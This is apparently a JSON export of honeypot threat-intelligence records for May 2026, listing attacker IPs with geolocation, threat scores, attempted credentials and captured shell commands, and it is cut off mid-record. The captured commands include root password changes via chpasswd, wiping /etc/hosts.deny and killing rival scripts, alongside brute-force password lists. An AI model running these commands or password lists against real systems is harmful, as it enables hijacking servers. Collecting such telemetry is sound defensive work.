        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:16:15.387000+00:00",
        "last_seen_30d": "2026-05-08T07:17:30.998000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.196.152.211": {
      "attack_count": 2,
      "first_seen": "2026-05-30T00:22:42.158Z",
      "last_seen": "2026-05-30T00:22:42.159Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 74.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T07:56:11+00:00",
        "last_seen_30d": "2026-05-30T00:23:43.405000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 23,
        "Cowrie": 2
      }
    },
    "91.230.168.108": {
      "attack_count": 2,
      "first_seen": "2026-05-13T00:59:21.770Z",
      "last_seen": "2026-05-13T00:59:24.774Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 67.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 25,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T10:09:09+00:00",
        "last_seen_30d": "2026-05-26T10:50:21.782000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 9,
        "Dionaea": 3,
        "ConPot": 2,
        "Cowrie": 2,
        "Ipphoney": 1
      }
    },
    "91.231.89.229": {
      "attack_count": 2,
      "first_seen": "2026-05-02T12:28:38.156Z",
      "last_seen": "2026-05-02T12:28:38.157Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 27,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T12:28:38.156000+00:00",
        "last_seen_30d": "2026-05-28T16:04:17.343000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 31,
        "Cowrie": 2
      }
    },
    "34.18.20.129": {
      "attack_count": 3111,
      "first_seen": "2026-05-26T20:02:27.990Z",
      "last_seen": "2026-05-30T06:37:17.167Z",
      "sessions": 1556,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "Qatar",
      "country_code": "QA",
      "city": "Doha",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 44.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5590,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:02:27.990000+00:00",
        "last_seen_30d": "2026-05-30T06:38:19.808000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3111,
        "Suricata": 2479
      }
    },
    "43.173.87.133": {
      "attack_count": 854,
      "first_seen": "2026-05-16T20:23:00.307Z",
      "last_seen": "2026-05-17T20:56:21.599Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "113",
        "123qweasdzxc",
        "1912",
        "1qaz@3edc",
        "20192019",
        "320320",
        "3lch3",
        "4444",
        "4r3e2w1q",
        "8675309",
        "Admin!QAZXSW",
        "Husamaja",
        "Mustang",
        "QAZ!@#123",
        "VPS",
        "Voiture1@3",
        "ZXCasdQWE",
        "amir123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:CAItLrzFdliG\"|chpasswd|bash",
        "echo \"root:CIpox1Sbtuii\"|chpasswd|bash",
        "echo \"root:DKJXZvSI7kBa\"|chpasswd|bash",
        "echo \"root:MoCefm2MbAdJ\"|chpasswd|bash",
        "echo \"root:RVe7KPRXeWLi\"|chpasswd|bash",
        "echo \"root:bv1wFWwmZHSv\"|chpasswd|bash",
        "echo \"root:et50LSXptpfG\"|chpasswd|bash",
        "echo \"root:rtQt4PRhB9u7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 1026,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:23:00.307000+00:00",
        "last_seen_30d": "2026-05-17T20:57:22.763000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 854,
        "Suricata": 172
      }
    },
    "66.55.88.7": {
      "attack_count": 622,
      "first_seen": "2026-05-24T00:46:52.548Z",
      "last_seen": "2026-05-24T01:53:21.256Z",
      "sessions": 311,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32181,
      "as_org": "GigeNET",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 949,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:46:52.548000+00:00",
        "last_seen_30d": "2026-05-24T01:54:21.729000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 622,
        "Suricata": 327
      }
    },
    "103.191.14.210": {
      "attack_count": 591,
      "first_seen": "2026-05-14T17:19:45.912Z",
      "last_seen": "2026-05-24T08:41:29.925Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ben",
        "...",
        "ahsq",
        "alfred",
        "b",
        "conectar",
        "ftp",
        "james",
        "lee",
        "linux",
        "ocean",
        "pakchoi",
        "postgres",
        "smith",
        "test",
        "west"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1qaz@WSX3edc",
        "Welcome@1",
        "linux123",
        "!qazxsw2",
        "123",
        "123456Qwe",
        "123Qwe",
        "999999999",
        "GiGaPenis1488!",
        "Kermit123@",
        "Lb123456",
        "P@$$w0rd@123",
        "Qwerty123!@#",
        "St123456",
        "Welcome01",
        "Wx123456",
        "Zxcvbnm,./"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nu91OCEDEoInw\\nu91OCEDEoInw\\n\"|passwd",
        "echo \"root:DnwwAzmXP06y\"|chpasswd|bash",
        "echo \"root:E495PSgGZ3jq\"|chpasswd|bash",
        "echo \"root:HgOzcOkuRSm1\"|chpasswd|bash",
        "echo \"root:XrweErryN69K\"|chpasswd|bash",
        "echo -e \"123\\nu91OCEDEoInw\\nu91OCEDEoInw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 38513,
      "as_org": "PT Aplikanusa Lintasarta",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 735,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T17:19:45.912000+00:00",
        "last_seen_30d": "2026-05-24T08:42:39.088000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 591,
        "Suricata": 144
      }
    },
    "38.7.195.96": {
      "attack_count": 386,
      "first_seen": "2026-05-19T18:31:15.768Z",
      "last_seen": "2026-05-20T18:09:51.098Z",
      "sessions": 193,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 263702,
      "as_org": "GRUPO ZGH SPA",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 579,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:31:15.768000+00:00",
        "last_seen_30d": "2026-05-20T18:10:51.967000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 193
      }
    },
    "201.184.50.251": {
      "attack_count": 307,
      "first_seen": "2026-05-18T00:36:33.195Z",
      "last_seen": "2026-05-22T06:40:59.262Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "monitor",
        "a",
        "bob",
        "bot",
        "erpnext",
        "ftp",
        "git",
        "mysql",
        "simeon",
        "sonic",
        "temp",
        "vitor",
        "wireguard"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111111",
        "123",
        "123123Qq",
        "1234",
        "12345677",
        "123456788",
        "1234ABCD",
        "123qwe",
        "Asdfghjkl",
        "Diamond1",
        "Hm123456",
        "Ubuntu@123",
        "Wu123456",
        "a",
        "aa888888",
        "admin#123",
        "aliali",
        "bob"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"monitor@2024\\nidURY93uLtdd\\nidURY93uLtdd\\n\"|passwd",
        "echo \"root:5DMVUzJF6Gni\"|chpasswd|bash",
        "echo -e \"monitor@2024\\nidURY93uLtdd\\nidURY93uLtdd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 13489,
      "as_org": "UNE EPM TELECOMUNICACIONES S.A.",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 397,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T00:36:33.195000+00:00",
        "last_seen_30d": "2026-05-22T06:41:59.620000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 90
      }
    },
    "118.163.96.237": {
      "attack_count": 290,
      "first_seen": "2026-05-21T06:57:40.999Z",
      "last_seen": "2026-05-22T09:41:56.476Z",
      "sessions": 145,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 435,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:57:40.999000+00:00",
        "last_seen_30d": "2026-05-22T09:43:04.323000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 290,
        "Suricata": 145
      }
    },
    "106.56.81.165": {
      "attack_count": 258,
      "first_seen": "2026-05-22T09:59:42.412Z",
      "last_seen": "2026-05-22T20:27:12.167Z",
      "sessions": 129,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 399,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:59:42.412000+00:00",
        "last_seen_30d": "2026-05-22T20:28:20.850000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 258,
        "Suricata": 141
      }
    },
    "161.81.121.74": {
      "attack_count": 254,
      "first_seen": "2026-05-19T23:25:20.350Z",
      "last_seen": "2026-05-20T18:10:10.587Z",
      "sessions": 127,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 396,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:25:20.350000+00:00",
        "last_seen_30d": "2026-05-20T18:11:10.905000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 254,
        "Suricata": 142
      }
    },
    "81.57.15.243": {
      "attack_count": 241,
      "first_seen": "2026-05-18T22:35:56.631Z",
      "last_seen": "2026-05-18T23:02:04.668Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10261026",
        "1q2w3e!@",
        "1q2w3e$R%T^Y",
        "ADMIN123",
        "adonix",
        "botpass",
        "claude",
        "customerservice",
        "fhem",
        "jiamima",
        "mozart123",
        "netwatch123456",
        "office",
        "officina",
        "peng",
        "please",
        "poiuyt",
        "qwe123QWE!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:9oophkMzTSeu\"|chpasswd|bash",
        "echo \"root:Rq2RhbYQsdvS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 29447,
      "as_org": "Scaleway SAS",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:35:56.631000+00:00",
        "last_seen_30d": "2026-05-18T23:03:10.156000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 55
      }
    },
    "129.226.88.67": {
      "attack_count": 236,
      "first_seen": "2026-05-17T10:17:36.680Z",
      "last_seen": "2026-05-17T10:43:47.431Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "112233",
        "andrea",
        "athens",
        "cedric123",
        "crystal",
        "ddos",
        "es123",
        "eugene",
        "hayes",
        "marty",
        "nas@123",
        "none123",
        "qwer#1234",
        "samurai",
        "sdp",
        "segredo",
        "suchy",
        "test"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1Vu2ShLdSYqj\"|chpasswd|bash",
        "echo \"root:gvBuOfucmVmr\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T10:17:36.680000+00:00",
        "last_seen_30d": "2026-05-17T10:44:51.453000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "176.65.139.121": {
      "attack_count": 217,
      "first_seen": "2026-05-18T13:48:00.094Z",
      "last_seen": "2026-05-21T02:06:17.145Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "",
        "hikvision",
        "pi",
        "ubnt"
      ],
      "passwords_attempted": [
        "",
        "root",
        "user",
        "1234",
        "12345",
        "12345678",
        "86981198",
        "j1/_6s*w",
        "123456",
        "123456789",
        "888888",
        "admin",
        "admin1234",
        "hikvision",
        "password",
        "raspberry",
        "ubnt",
        "xc3511"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 6.7,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 313,
        "days_active_30d": 8,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T22:05:02.445000+00:00",
        "last_seen_30d": "2026-05-22T17:49:16.848000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 96
      }
    },
    "107.189.23.48": {
      "attack_count": 212,
      "first_seen": "2026-05-29T23:00:10.548Z",
      "last_seen": "2026-05-29T23:23:00.433Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "leonardo",
        "ansible",
        "mailcow",
        "rafael",
        "testuser",
        "ubuntu",
        "user02"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!",
        "1",
        "123456",
        "123456a.",
        "12345asd",
        "123@123a",
        "6969",
        "868686",
        "PAssw0rd",
        "QAZqaz123",
        "leonardo",
        "mailcow",
        "rafael",
        "ubuntu2026",
        "zhang123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"leonardo\\nTTboH5II68ve\\nTTboH5II68ve\\n\"|passwd",
        "echo \"root:cvpZ1uwxtKjd\"|chpasswd|bash",
        "echo -e \"leonardo\\nTTboH5II68ve\\nTTboH5II68ve\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Zaandam",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T23:00:10.548000+00:00",
        "last_seen_30d": "2026-05-29T23:24:10.219000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 43
      }
    },
    "41.216.177.55": {
      "attack_count": 212,
      "first_seen": "2026-05-29T19:15:03.627Z",
      "last_seen": "2026-05-29T19:40:34.964Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "admin",
        "leon",
        "nico",
        "user",
        "user3",
        "vasya",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123123123",
        "1233218613f",
        "12345678",
        "1qazZAQ!",
        "Admin#2026",
        "Cc123456",
        "QWE!@#123",
        "a1s2d3f4",
        "admin@2025",
        "leon",
        "nico@123",
        "server2025",
        "sistemas",
        "vasya"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613f\\nGnsjI1mNwVCa\\nGnsjI1mNwVCa\\n\"|passwd",
        "echo \"root:1qXkjKbeKizK\"|chpasswd|bash",
        "echo -e \"1233218613f\\nGnsjI1mNwVCa\\nGnsjI1mNwVCa\"|passwd|bash",
